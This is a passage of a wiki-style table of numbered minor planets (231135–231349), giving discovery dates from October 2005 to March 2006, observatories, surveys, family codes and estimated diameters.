| 231135 || || — || October 6, 2005 || Catalina || CSS || — || align=right data-sort-value="0.90" | 900 m ||
|-id=136 bgcolor=#fefefe
| 231136 || || — || October 3, 2005 || Catalina || CSS || FLO || align=right | 1.0 km ||
|-id=137 bgcolor=#fefefe
| 231137 || || — || October 6, 2005 || Catalina || CSS || NYS || align=right data-sort-value="0.87" | 870 m ||
|-id=138 bgcolor=#fefefe
| 231138 || || — || October 8, 2005 || Socorro || LINEAR || FLO || align=right | 1.1 km ||
|-id=139 bgcolor=#fefefe
| 231139 || || — || October 7, 2005 || Kitt Peak || Spacewatch || NYS || align=right data-sort-value="0.76" | 760 m ||
|-id=140 bgcolor=#E9E9E9
| 231140 || || — || October 5, 2005 || Kitt Peak || Spacewatch || — || align=right | 2.0 km ||
|-id=141 bgcolor=#fefefe
| 231141 || || — || October 8, 2005 || Kitt Peak || Spacewatch || — || align=right data-sort-value="0.90" | 900 m ||
|-id=142 bgcolor=#fefefe
| 231142 || || — || October 8, 2005 || Kitt Peak || Spacewatch || — || align=right data-sort-value="0.94" | 940 m ||
|-id=143 bgcolor=#fefefe
| 231143 || || — || October 9, 2005 || Kitt Peak || Spacewatch || FLO || align=right | 1.1 km ||
|-id=144 bgcolor=#fefefe
| 231144 || || — || October 24, 2005 || Goodricke-Pigott || R. A. Tucker || FLO || align=right | 1.1 km ||
|-id=145 bgcolor=#fefefe
| 231145 || || — || October 24, 2005 || Goodricke-Pigott || R. A. Tucker || MAS || align=right | 1.1 km ||
|-id=146 bgcolor=#fefefe
| 231146 || || — || October 22, 2005 || Kitt Peak || Spacewatch || NYS || align=right | 1.1 km ||
|-id=147 bgcolor=#fefefe
| 231147 || || — || October 22, 2005 || Kitt Peak || Spacewatch || MAS || align=right data-sort-value="0.75" | 750 m ||
|-id=148 bgcolor=#fefefe
| 231148 || || — || October 22, 2005 || Kitt Peak || Spacewatch || FLO || align=right data-sort-value="0.84" | 840 m ||
|-id=149 bgcolor=#fefefe
| 231149 || || — || October 22, 2005 || Kitt Peak || Spacewatch || — || align=right | 1.3 km ||
|-id=150 bgcolor=#fefefe
| 231150 || || — || October 23, 2005 || Catalina || CSS || — || align=right | 1.1 km ||
|-id=151 bgcolor=#fefefe
| 231151 || || — || October 27, 2005 || Cordell-Lorenz || D. T. Durig || NYS || align=right | 1.1 km ||
|-id=152 bgcolor=#fefefe
| 231152 || || — || October 22, 2005 || Kitt Peak || Spacewatch || — || align=right | 1.1 km ||
|-id=153 bgcolor=#fefefe
| 231153 || || — || October 22, 2005 || Kitt Peak || Spacewatch || V || align=right data-sort-value="0.94" | 940 m ||
|-id=154 bgcolor=#fefefe
| 231154 || || — || October 22, 2005 || Kitt Peak || Spacewatch || CLA || align=right | 2.4 km ||
|-id=155 bgcolor=#E9E9E9
| 231155 || || — || October 23, 2005 || Catalina || CSS || — || align=right | 2.0 km ||
|-id=156 bgcolor=#fefefe
| 231156 || || — || October 25, 2005 || Catalina || CSS || FLO || align=right | 1.0 km ||
|-id=157 bgcolor=#E9E9E9
| 231157 || || — || October 25, 2005 || Mount Lemmon || Mount Lemmon Survey || — || align=right data-sort-value="0.94" | 940 m ||
|-id=158 bgcolor=#E9E9E9
| 231158 || || — || October 22, 2005 || Palomar || NEAT || — || align=right | 1.8 km ||
|-id=159 bgcolor=#fefefe
| 231159 || || — || October 22, 2005 || Palomar || NEAT || V || align=right | 1.2 km ||
|-id=160 bgcolor=#fefefe
| 231160 || || — || October 23, 2005 || Palomar || NEAT || FLO || align=right | 1.4 km ||
|-id=161 bgcolor=#fefefe
| 231161 || || — || October 23, 2005 || Palomar || NEAT || NYS || align=right | 1.1 km ||
|-id=162 bgcolor=#fefefe
| 231162 || || — || October 23, 2005 || Palomar || NEAT || NYS || align=right data-sort-value="0.96" | 960 m ||
|-id=163 bgcolor=#fefefe
| 231163 || || — || October 24, 2005 || Palomar || NEAT || — || align=right | 1.8 km ||
|-id=164 bgcolor=#fefefe
| 231164 || || — || October 25, 2005 || Catalina || CSS || NYS || align=right | 1.0 km ||
|-id=165 bgcolor=#fefefe
| 231165 || || — || October 25, 2005 || Catalina || CSS || — || align=right | 1.5 km ||
|-id=166 bgcolor=#fefefe
| 231166 || || — || October 22, 2005 || Kitt Peak || Spacewatch || ERI || align=right | 2.6 km ||
|-id=167 bgcolor=#fefefe
| 231167 || || — || October 22, 2005 || Kitt Peak || Spacewatch || NYS || align=right | 1.0 km ||
|-id=168 bgcolor=#fefefe
| 231168 || || — || October 22, 2005 || Palomar || NEAT || — || align=right | 1.2 km ||
|-id=169 bgcolor=#fefefe
| 231169 || || — || October 22, 2005 || Kitt Peak || Spacewatch || NYS || align=right data-sort-value="0.76" | 760 m ||
|-id=170 bgcolor=#E9E9E9
| 231170 || || — || October 24, 2005 || Kitt Peak || Spacewatch || — || align=right | 1.8 km ||
|-id=171 bgcolor=#fefefe
| 231171 || || — || October 25, 2005 || Mount Lemmon || Mount Lemmon Survey || MAS || align=right data-sort-value="0.82" | 820 m ||
|-id=172 bgcolor=#fefefe
| 231172 || || — || October 26, 2005 || Kitt Peak || Spacewatch || — || align=right data-sort-value="0.68" | 680 m ||
|-id=173 bgcolor=#E9E9E9
| 231173 || || — || October 26, 2005 || Kitt Peak || Spacewatch || — || align=right | 2.3 km ||
|-id=174 bgcolor=#fefefe
| 231174 || || — || October 26, 2005 || Kitt Peak || Spacewatch || NYS || align=right data-sort-value="0.87" | 870 m ||
|-id=175 bgcolor=#fefefe
| 231175 || || — || October 22, 2005 || Catalina || CSS || NYS || align=right data-sort-value="0.83" | 830 m ||
|-id=176 bgcolor=#fefefe
| 231176 || || — || October 24, 2005 || Kitt Peak || Spacewatch || — || align=right data-sort-value="0.98" | 980 m ||
|-id=177 bgcolor=#fefefe
| 231177 || || — || October 22, 2005 || Kitt Peak || Spacewatch || MAS || align=right data-sort-value="0.94" | 940 m ||
|-id=178 bgcolor=#fefefe
| 231178 || || — || October 27, 2005 || Kitt Peak || Spacewatch || MAS || align=right data-sort-value="0.82" | 820 m ||
|-id=179 bgcolor=#fefefe
| 231179 || || — || October 27, 2005 || Palomar || NEAT || FLO || align=right data-sort-value="0.92" | 920 m ||
|-id=180 bgcolor=#fefefe
| 231180 || || — || October 25, 2005 || Kitt Peak || Spacewatch || NYS || align=right data-sort-value="0.91" | 910 m ||
|-id=181 bgcolor=#E9E9E9
| 231181 || || — || October 25, 2005 || Kitt Peak || Spacewatch || KON || align=right | 3.0 km ||
|-id=182 bgcolor=#fefefe
| 231182 || || — || October 25, 2005 || Kitt Peak || Spacewatch || — || align=right data-sort-value="0.94" | 940 m ||
|-id=183 bgcolor=#fefefe
| 231183 || || — || October 25, 2005 || Catalina || CSS || — || align=right | 1.4 km ||
|-id=184 bgcolor=#fefefe
| 231184 || || — || October 26, 2005 || Kitt Peak || Spacewatch || — || align=right | 1.4 km ||
|-id=185 bgcolor=#fefefe
| 231185 || || — || October 27, 2005 || Kitt Peak || Spacewatch || — || align=right data-sort-value="0.98" | 980 m ||
|-id=186 bgcolor=#fefefe
| 231186 || || — || October 28, 2005 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.2 km ||
|-id=187 bgcolor=#fefefe
| 231187 || || — || October 26, 2005 || Kitt Peak || Spacewatch || V || align=right data-sort-value="0.82" | 820 m ||
|-id=188 bgcolor=#fefefe
| 231188 || || — || October 29, 2005 || Catalina || CSS || — || align=right | 2.6 km ||
|-id=189 bgcolor=#E9E9E9
| 231189 || || — || October 25, 2005 || Kitt Peak || Spacewatch || — || align=right | 4.2 km ||
|-id=190 bgcolor=#fefefe
| 231190 || || — || October 27, 2005 || Kitt Peak || Spacewatch || V || align=right | 1.0 km ||
|-id=191 bgcolor=#fefefe
| 231191 || || — || October 25, 2005 || Mount Lemmon || Mount Lemmon Survey || V || align=right | 1.1 km ||
|-id=192 bgcolor=#fefefe
| 231192 || || — || October 28, 2005 || Mount Lemmon || Mount Lemmon Survey || MAS || align=right data-sort-value="0.75" | 750 m ||
|-id=193 bgcolor=#fefefe
| 231193 || || — || October 30, 2005 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.4 km ||
|-id=194 bgcolor=#fefefe
| 231194 || || — || October 31, 2005 || Anderson Mesa || LONEOS || — || align=right data-sort-value="0.98" | 980 m ||
|-id=195 bgcolor=#fefefe
| 231195 || || — || October 30, 2005 || Socorro || LINEAR || — || align=right data-sort-value="0.98" | 980 m ||
|-id=196 bgcolor=#fefefe
| 231196 || || — || October 27, 2005 || Mount Lemmon || Mount Lemmon Survey || — || align=right data-sort-value="0.98" | 980 m ||
|-id=197 bgcolor=#fefefe
| 231197 || || — || October 22, 2005 || Anderson Mesa || LONEOS || — || align=right | 1.2 km ||
|-id=198 bgcolor=#fefefe
| 231198 || || — || October 24, 2005 || Palomar || NEAT || V || align=right data-sort-value="0.85" | 850 m ||
|-id=199 bgcolor=#E9E9E9
| 231199 || || — || October 24, 2005 || Mauna Kea || D. J. Tholen || — || align=right | 3.4 km ||
|-id=200 bgcolor=#E9E9E9
| 231200 || || — || October 24, 2005 || Mauna Kea || D. J. Tholen || — || align=right | 3.5 km ||
|}
231201–231300
|-bgcolor=#fefefe
| 231201 || || — || October 27, 2005 || Catalina || CSS || V || align=right data-sort-value="0.89" | 890 m ||
|-id=202 bgcolor=#fefefe
| 231202 || || — || November 3, 2005 || Catalina || CSS || FLO || align=right | 1.2 km ||
|-id=203 bgcolor=#fefefe
| 231203 || || — || November 3, 2005 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.4 km ||
|-id=204 bgcolor=#fefefe
| 231204 || || — || November 4, 2005 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 2.4 km ||
|-id=205 bgcolor=#fefefe
| 231205 || || — || November 2, 2005 || Socorro || LINEAR || NYS || align=right data-sort-value="0.96" | 960 m ||
|-id=206 bgcolor=#E9E9E9
| 231206 || || — || November 10, 2005 || Catalina || CSS || — || align=right | 2.9 km ||
|-id=207 bgcolor=#E9E9E9
| 231207 || || — || November 4, 2005 || Kitt Peak || Spacewatch || — || align=right | 2.9 km ||
|-id=208 bgcolor=#fefefe
| 231208 || || — || November 3, 2005 || Mount Lemmon || Mount Lemmon Survey || V || align=right | 1.0 km ||
|-id=209 bgcolor=#fefefe
| 231209 || || — || November 21, 2005 || Kitt Peak || Spacewatch || MAS || align=right | 1.0 km ||
|-id=210 bgcolor=#fefefe
| 231210 || || — || November 21, 2005 || Kitt Peak || Spacewatch || — || align=right | 1.1 km ||
|-id=211 bgcolor=#fefefe
| 231211 || || — || November 22, 2005 || Kitt Peak || Spacewatch || — || align=right | 1.2 km ||
|-id=212 bgcolor=#fefefe
| 231212 || || — || November 30, 2005 || Mayhill || A. Lowe || — || align=right | 1.0 km ||
|-id=213 bgcolor=#fefefe
| 231213 || || — || November 28, 2005 || Mount Lemmon || Mount Lemmon Survey || NYS || align=right | 1.2 km ||
|-id=214 bgcolor=#fefefe
| 231214 || || — || November 25, 2005 || Mount Lemmon || Mount Lemmon Survey || V || align=right | 1.1 km ||
|-id=215 bgcolor=#fefefe
| 231215 || || — || November 26, 2005 || Mount Lemmon || Mount Lemmon Survey || NYS || align=right | 1.0 km ||
|-id=216 bgcolor=#fefefe
| 231216 || || — || November 26, 2005 || Kitt Peak || Spacewatch || MAS || align=right | 1.1 km ||
|-id=217 bgcolor=#fefefe
| 231217 || || — || November 25, 2005 || Catalina || CSS || FLO || align=right | 1.1 km ||
|-id=218 bgcolor=#fefefe
| 231218 || || — || November 26, 2005 || Mount Lemmon || Mount Lemmon Survey || NYS || align=right data-sort-value="0.72" | 720 m ||
|-id=219 bgcolor=#fefefe
| 231219 || || — || November 28, 2005 || Kitt Peak || Spacewatch || — || align=right | 1.1 km ||
|-id=220 bgcolor=#E9E9E9
| 231220 || || — || November 29, 2005 || Socorro || LINEAR || — || align=right | 1.8 km ||
|-id=221 bgcolor=#E9E9E9
| 231221 || || — || November 25, 2005 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 2.0 km ||
|-id=222 bgcolor=#E9E9E9
| 231222 || || — || November 25, 2005 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 2.2 km ||
|-id=223 bgcolor=#E9E9E9
| 231223 || || — || November 28, 2005 || Catalina || CSS || GER || align=right | 1.7 km ||
|-id=224 bgcolor=#fefefe
| 231224 || || — || November 30, 2005 || Kitt Peak || Spacewatch || NYS || align=right | 1.0 km ||
|-id=225 bgcolor=#fefefe
| 231225 || || — || November 30, 2005 || Kitt Peak || Spacewatch || MAS || align=right data-sort-value="0.98" | 980 m ||
|-id=226 bgcolor=#E9E9E9
| 231226 || || — || November 30, 2005 || Kitt Peak || Spacewatch || — || align=right | 3.2 km ||
|-id=227 bgcolor=#fefefe
| 231227 || || — || November 30, 2005 || Kitt Peak || Spacewatch || NYS || align=right | 1.0 km ||
|-id=228 bgcolor=#fefefe
| 231228 || || — || November 30, 2005 || Socorro || LINEAR || — || align=right | 2.5 km ||
|-id=229 bgcolor=#fefefe
| 231229 || || — || November 29, 2005 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.4 km ||
|-id=230 bgcolor=#fefefe
| 231230 || || — || December 1, 2005 || Socorro || LINEAR || MAS || align=right data-sort-value="0.90" | 900 m ||
|-id=231 bgcolor=#fefefe
| 231231 || || — || December 1, 2005 || Mount Lemmon || Mount Lemmon Survey || MAS || align=right data-sort-value="0.86" | 860 m ||
|-id=232 bgcolor=#fefefe
| 231232 || || — || December 3, 2005 || Kitt Peak || Spacewatch || ERI || align=right | 2.6 km ||
|-id=233 bgcolor=#E9E9E9
| 231233 || || — || December 4, 2005 || Kitt Peak || Spacewatch || — || align=right | 3.5 km ||
|-id=234 bgcolor=#E9E9E9
| 231234 || || — || December 4, 2005 || Kitt Peak || Spacewatch || WIT || align=right | 1.8 km ||
|-id=235 bgcolor=#fefefe
| 231235 || || — || December 7, 2005 || Socorro || LINEAR || — || align=right | 3.0 km ||
|-id=236 bgcolor=#fefefe
| 231236 || || — || December 5, 2005 || Kitt Peak || Spacewatch || MAS || align=right data-sort-value="0.90" | 900 m ||
|-id=237 bgcolor=#fefefe
| 231237 || || — || December 10, 2005 || Kitt Peak || Spacewatch || — || align=right | 1.5 km ||
|-id=238 bgcolor=#fefefe
| 231238 || || — || December 21, 2005 || Catalina || CSS || KLI || align=right | 2.9 km ||
|-id=239 bgcolor=#fefefe
| 231239 || || — || December 21, 2005 || Kitt Peak || Spacewatch || NYS || align=right data-sort-value="0.72" | 720 m ||
|-id=240 bgcolor=#fefefe
| 231240 || || — || December 24, 2005 || Kitt Peak || Spacewatch || NYS || align=right data-sort-value="0.96" | 960 m ||
|-id=241 bgcolor=#fefefe
| 231241 || || — || December 25, 2005 || Kitt Peak || Spacewatch || V || align=right | 1.1 km ||
|-id=242 bgcolor=#fefefe
| 231242 || || — || December 26, 2005 || Kitt Peak || Spacewatch || — || align=right | 1.2 km ||
|-id=243 bgcolor=#E9E9E9
| 231243 || || — || December 25, 2005 || Anderson Mesa || LONEOS || MAR || align=right | 1.8 km ||
|-id=244 bgcolor=#E9E9E9
| 231244 || || — || December 24, 2005 || Kitt Peak || Spacewatch || — || align=right | 1.9 km ||
|-id=245 bgcolor=#E9E9E9
| 231245 || || — || December 25, 2005 || Kitt Peak || Spacewatch || — || align=right | 2.4 km ||
|-id=246 bgcolor=#fefefe
| 231246 || || — || December 26, 2005 || Kitt Peak || Spacewatch || — || align=right | 2.2 km ||
|-id=247 bgcolor=#E9E9E9
| 231247 || || — || December 25, 2005 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 3.3 km ||
|-id=248 bgcolor=#E9E9E9
| 231248 || || — || December 25, 2005 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.3 km ||
|-id=249 bgcolor=#fefefe
| 231249 || || — || December 26, 2005 || Kitt Peak || Spacewatch || V || align=right | 1.0 km ||
|-id=250 bgcolor=#E9E9E9
| 231250 || || — || December 28, 2005 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 4.1 km ||
|-id=251 bgcolor=#E9E9E9
| 231251 || || — || December 29, 2005 || Socorro || LINEAR || — || align=right | 1.9 km ||
|-id=252 bgcolor=#E9E9E9
| 231252 || || — || December 28, 2005 || Catalina || CSS || — || align=right | 2.0 km ||
|-id=253 bgcolor=#E9E9E9
| 231253 || || — || December 28, 2005 || Catalina || CSS || EUN || align=right | 2.1 km ||
|-id=254 bgcolor=#E9E9E9
| 231254 || || — || December 27, 2005 || Kitt Peak || Spacewatch || — || align=right | 3.0 km ||
|-id=255 bgcolor=#fefefe
| 231255 || || — || December 29, 2005 || Kitt Peak || Spacewatch || — || align=right | 2.2 km ||
|-id=256 bgcolor=#E9E9E9
| 231256 || || — || December 30, 2005 || Kitt Peak || Spacewatch || — || align=right | 1.6 km ||
|-id=257 bgcolor=#E9E9E9
| 231257 || || — || December 25, 2005 || Catalina || CSS || BAR || align=right | 1.8 km ||
|-id=258 bgcolor=#E9E9E9
| 231258 || || — || December 25, 2005 || Mount Lemmon || Mount Lemmon Survey || EUN || align=right | 2.2 km ||
|-id=259 bgcolor=#E9E9E9
| 231259 || || — || December 25, 2005 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 2.0 km ||
|-id=260 bgcolor=#E9E9E9
| 231260 || || — || December 25, 2005 || Catalina || CSS || EUN || align=right | 2.1 km ||
|-id=261 bgcolor=#E9E9E9
| 231261 || || — || December 25, 2005 || Kitt Peak || Spacewatch || — || align=right | 2.5 km ||
|-id=262 bgcolor=#E9E9E9
| 231262 || || — || December 25, 2005 || Catalina || CSS || MIT || align=right | 3.8 km ||
|-id=263 bgcolor=#d6d6d6
| 231263 || || — || December 25, 2005 || Catalina || CSS || — || align=right | 4.6 km ||
|-id=264 bgcolor=#fefefe
| 231264 || || — || December 31, 2005 || Kitt Peak || Spacewatch || CLA || align=right | 2.6 km ||
|-id=265 bgcolor=#E9E9E9
| 231265 Saulperlmutter || || || January 5, 2006 || Vallemare di Borbona || V. S. Casulli || — || align=right | 3.2 km ||
|-id=266 bgcolor=#E9E9E9
| 231266 || || — || January 5, 2006 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 2.4 km ||
|-id=267 bgcolor=#E9E9E9
| 231267 || || — || January 4, 2006 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 2.8 km ||
|-id=268 bgcolor=#E9E9E9
| 231268 || || — || January 5, 2006 || Catalina || CSS || — || align=right | 3.2 km ||
|-id=269 bgcolor=#E9E9E9
| 231269 || || — || January 5, 2006 || Catalina || CSS || — || align=right | 3.2 km ||
|-id=270 bgcolor=#E9E9E9
| 231270 || || — || January 5, 2006 || Kitt Peak || Spacewatch || — || align=right | 3.2 km ||
|-id=271 bgcolor=#E9E9E9
| 231271 || || — || January 6, 2006 || Kitt Peak || Spacewatch || — || align=right | 3.3 km ||
|-id=272 bgcolor=#fefefe
| 231272 || || — || January 5, 2006 || Kitt Peak || Spacewatch || NYS || align=right | 1.0 km ||
|-id=273 bgcolor=#E9E9E9
| 231273 || || — || January 7, 2006 || Kitt Peak || Spacewatch || — || align=right | 1.3 km ||
|-id=274 bgcolor=#fefefe
| 231274 || || — || January 6, 2006 || Kitt Peak || Spacewatch || — || align=right | 1.4 km ||
|-id=275 bgcolor=#E9E9E9
| 231275 || || — || January 6, 2006 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.2 km ||
|-id=276 bgcolor=#E9E9E9
| 231276 || || — || January 7, 2006 || Anderson Mesa || LONEOS || — || align=right | 2.2 km ||
|-id=277 bgcolor=#E9E9E9
| 231277 || || — || January 21, 2006 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.1 km ||
|-id=278 bgcolor=#E9E9E9
| 231278 Kárpáti || || || January 25, 2006 || Piszkéstető || K. Sárneczky || — || align=right | 2.8 km ||
|-id=279 bgcolor=#E9E9E9
| 231279 || || — || January 22, 2006 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 2.8 km ||
|-id=280 bgcolor=#E9E9E9
| 231280 || || — || January 20, 2006 || Kitt Peak || Spacewatch || — || align=right | 1.6 km ||
|-id=281 bgcolor=#E9E9E9
| 231281 || || — || January 21, 2006 || Kitt Peak || Spacewatch || HEN || align=right | 1.6 km ||
|-id=282 bgcolor=#d6d6d6
| 231282 || || — || January 23, 2006 || Junk Bond || D. Healy || 628 || align=right | 2.2 km ||
|-id=283 bgcolor=#E9E9E9
| 231283 || || — || January 23, 2006 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.3 km ||
|-id=284 bgcolor=#E9E9E9
| 231284 || || — || January 23, 2006 || Kitt Peak || Spacewatch || — || align=right | 1.4 km ||
|-id=285 bgcolor=#E9E9E9
| 231285 || || — || January 23, 2006 || Kitt Peak || Spacewatch || — || align=right | 2.7 km ||
|-id=286 bgcolor=#E9E9E9
| 231286 || || — || January 23, 2006 || Kitt Peak || Spacewatch || — || align=right | 3.7 km ||
|-id=287 bgcolor=#fefefe
| 231287 || || — || January 19, 2006 || Catalina || CSS || — || align=right | 1.1 km ||
|-id=288 bgcolor=#E9E9E9
| 231288 || || — || January 23, 2006 || Kitt Peak || Spacewatch || — || align=right | 1.8 km ||
|-id=289 bgcolor=#E9E9E9
| 231289 || || — || January 26, 2006 || Kitt Peak || Spacewatch || MIS || align=right | 2.2 km ||
|-id=290 bgcolor=#E9E9E9
| 231290 || || — || January 25, 2006 || Junk Bond || D. Healy || — || align=right | 1.9 km ||
|-id=291 bgcolor=#E9E9E9
| 231291 || || — || January 23, 2006 || Mount Lemmon || Mount Lemmon Survey || MAR || align=right | 1.8 km ||
|-id=292 bgcolor=#E9E9E9
| 231292 || || — || January 25, 2006 || Kitt Peak || Spacewatch || — || align=right | 2.6 km ||
|-id=293 bgcolor=#d6d6d6
| 231293 || || — || January 26, 2006 || Kitt Peak || Spacewatch || — || align=right | 3.1 km ||
|-id=294 bgcolor=#E9E9E9
| 231294 || || — || January 26, 2006 || Kitt Peak || Spacewatch || — || align=right | 2.9 km ||
|-id=295 bgcolor=#E9E9E9
| 231295 || || — || January 26, 2006 || Kitt Peak || Spacewatch || — || align=right | 3.5 km ||
|-id=296 bgcolor=#E9E9E9
| 231296 || || — || January 26, 2006 || Kitt Peak || Spacewatch || MIS || align=right | 3.4 km ||
|-id=297 bgcolor=#E9E9E9
| 231297 || || — || January 25, 2006 || Kitt Peak || Spacewatch || — || align=right | 1.9 km ||
|-id=298 bgcolor=#E9E9E9
| 231298 || || — || January 23, 2006 || Catalina || CSS || EUN || align=right | 2.2 km ||
|-id=299 bgcolor=#E9E9E9
| 231299 || || — || January 23, 2006 || Catalina || CSS || — || align=right | 3.2 km ||
|-id=300 bgcolor=#E9E9E9
| 231300 || || — || January 26, 2006 || Kitt Peak || Spacewatch || BRG || align=right | 2.2 km ||
|}
231301–231400
|-bgcolor=#E9E9E9
| 231301 || || — || January 26, 2006 || Anderson Mesa || LONEOS || ADE || align=right | 4.5 km ||
|-id=302 bgcolor=#E9E9E9
| 231302 || || — || January 26, 2006 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 2.8 km ||
|-id=303 bgcolor=#d6d6d6
| 231303 || || — || January 26, 2006 || Mount Lemmon || Mount Lemmon Survey || EOS || align=right | 3.2 km ||
|-id=304 bgcolor=#E9E9E9
| 231304 || || — || January 26, 2006 || Catalina || CSS || RAF || align=right | 1.7 km ||
|-id=305 bgcolor=#E9E9E9
| 231305 || || — || January 26, 2006 || Mount Lemmon || Mount Lemmon Survey || AST || align=right | 2.1 km ||
|-id=306 bgcolor=#E9E9E9
| 231306 || || — || January 27, 2006 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.6 km ||
|-id=307 bgcolor=#d6d6d6
| 231307 Peterfalk || || || January 28, 2006 || Nogales || J.-C. Merlin || KAR || align=right | 1.3 km ||
|-id=308 bgcolor=#E9E9E9
| 231308 || || — || January 28, 2006 || Kitt Peak || Spacewatch || — || align=right | 1.5 km ||
|-id=309 bgcolor=#E9E9E9
| 231309 || || — || January 28, 2006 || Kitt Peak || Spacewatch || — || align=right | 3.3 km ||
|-id=310 bgcolor=#E9E9E9
| 231310 || || — || January 28, 2006 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 3.5 km ||
|-id=311 bgcolor=#E9E9E9
| 231311 || || — || January 23, 2006 || Socorro || LINEAR || — || align=right | 1.6 km ||
|-id=312 bgcolor=#E9E9E9
| 231312 || || — || January 31, 2006 || Kitt Peak || Spacewatch || HEN || align=right | 1.6 km ||
|-id=313 bgcolor=#E9E9E9
| 231313 || || — || January 31, 2006 || Kitt Peak || Spacewatch || — || align=right | 1.5 km ||
|-id=314 bgcolor=#E9E9E9
| 231314 || || — || January 26, 2006 || Catalina || CSS || — || align=right | 2.3 km ||
|-id=315 bgcolor=#E9E9E9
| 231315 || || — || January 27, 2006 || Catalina || CSS || — || align=right | 3.7 km ||
|-id=316 bgcolor=#E9E9E9
| 231316 || || — || January 23, 2006 || Kitt Peak || Spacewatch || — || align=right | 2.2 km ||
|-id=317 bgcolor=#E9E9E9
| 231317 || || — || February 1, 2006 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.3 km ||
|-id=318 bgcolor=#E9E9E9
| 231318 || || — || February 2, 2006 || Mount Lemmon || Mount Lemmon Survey || HEN || align=right | 1.6 km ||
|-id=319 bgcolor=#E9E9E9
| 231319 || || — || February 2, 2006 || Kitt Peak || Spacewatch || — || align=right | 2.8 km ||
|-id=320 bgcolor=#E9E9E9
| 231320 || || — || February 4, 2006 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 2.7 km ||
|-id=321 bgcolor=#E9E9E9
| 231321 || || — || February 4, 2006 || Kitt Peak || Spacewatch || — || align=right | 2.8 km ||
|-id=322 bgcolor=#E9E9E9
| 231322 || || — || February 21, 2006 || Calvin-Rehoboth || L. A. Molnar || — || align=right | 2.4 km ||
|-id=323 bgcolor=#E9E9E9
| 231323 || || — || February 20, 2006 || Kitt Peak || Spacewatch || HEN || align=right | 1.4 km ||
|-id=324 bgcolor=#E9E9E9
| 231324 || || — || February 20, 2006 || Catalina || CSS || — || align=right | 2.3 km ||
|-id=325 bgcolor=#d6d6d6
| 231325 || || — || February 20, 2006 || Catalina || CSS || EOS || align=right | 3.4 km ||
|-id=326 bgcolor=#E9E9E9
| 231326 || || — || February 20, 2006 || Kitt Peak || Spacewatch || — || align=right | 2.9 km ||
|-id=327 bgcolor=#E9E9E9
| 231327 || || — || February 20, 2006 || Kitt Peak || Spacewatch || — || align=right | 3.1 km ||
|-id=328 bgcolor=#d6d6d6
| 231328 || || — || February 21, 2006 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 3.1 km ||
|-id=329 bgcolor=#E9E9E9
| 231329 || || — || February 24, 2006 || Kitt Peak || Spacewatch || — || align=right | 2.3 km ||
|-id=330 bgcolor=#E9E9E9
| 231330 || || — || February 21, 2006 || Catalina || CSS || JUN || align=right | 1.6 km ||
|-id=331 bgcolor=#d6d6d6
| 231331 || || — || February 24, 2006 || Kitt Peak || Spacewatch || — || align=right | 4.3 km ||
|-id=332 bgcolor=#E9E9E9
| 231332 || || — || February 25, 2006 || Mount Lemmon || Mount Lemmon Survey || HOF || align=right | 2.9 km ||
|-id=333 bgcolor=#E9E9E9
| 231333 || || — || February 27, 2006 || Mount Lemmon || Mount Lemmon Survey || HOF || align=right | 4.1 km ||
|-id=334 bgcolor=#E9E9E9
| 231334 || || — || February 27, 2006 || Kitt Peak || Spacewatch || — || align=right | 3.5 km ||
|-id=335 bgcolor=#E9E9E9
| 231335 || || — || February 28, 2006 || Catalina || CSS || — || align=right | 4.0 km ||
|-id=336 bgcolor=#E9E9E9
| 231336 || || — || February 24, 2006 || Catalina || CSS || — || align=right | 1.6 km ||
|-id=337 bgcolor=#E9E9E9
| 231337 || || — || February 25, 2006 || Anderson Mesa || LONEOS || — || align=right | 3.9 km ||
|-id=338 bgcolor=#E9E9E9
| 231338 || || — || February 25, 2006 || Anderson Mesa || LONEOS || ADE || align=right | 3.4 km ||
|-id=339 bgcolor=#E9E9E9
| 231339 || || — || February 18, 2006 || Anderson Mesa || LONEOS || — || align=right | 3.9 km ||
|-id=340 bgcolor=#E9E9E9
| 231340 || || — || February 25, 2006 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 3.2 km ||
|-id=341 bgcolor=#E9E9E9
| 231341 || || — || February 25, 2006 || Kitt Peak || Spacewatch || NEM || align=right | 3.1 km ||
|-id=342 bgcolor=#E9E9E9
| 231342 || || — || March 3, 2006 || Kitt Peak || Spacewatch || HEN || align=right | 1.1 km ||
|-id=343 bgcolor=#E9E9E9
| 231343 || || — || March 3, 2006 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 2.7 km ||
|-id=344 bgcolor=#E9E9E9
| 231344 || || — || March 4, 2006 || Kitt Peak || Spacewatch || — || align=right | 2.6 km ||
|-id=345 bgcolor=#E9E9E9
| 231345 || || — || March 4, 2006 || Kitt Peak || Spacewatch || NEM || align=right | 2.5 km ||
|-id=346 bgcolor=#E9E9E9
| 231346 Taofanlin || || || March 10, 2006 || Lulin Observatory || H.-C. Lin, Q.-z. Ye || — || align=right | 3.1 km ||
|-id=347 bgcolor=#d6d6d6
| 231347 || || — || March 23, 2006 || Kitt Peak || Spacewatch || — || align=right | 3.5 km ||
|-id=348 bgcolor=#d6d6d6
| 231348 || || — || March 23, 2006 || Kitt Peak || Spacewatch || TRE || align=right | 3.9 km ||
|-id=349 bgcolor=#E9E9E9
| 231349 || || — || March 23, 2006 || Mount Lemmon || Mount Lemmon Survey || AGN || align=right | 1.9 km ||
|-id=350 bgcolor=#E9E9E9
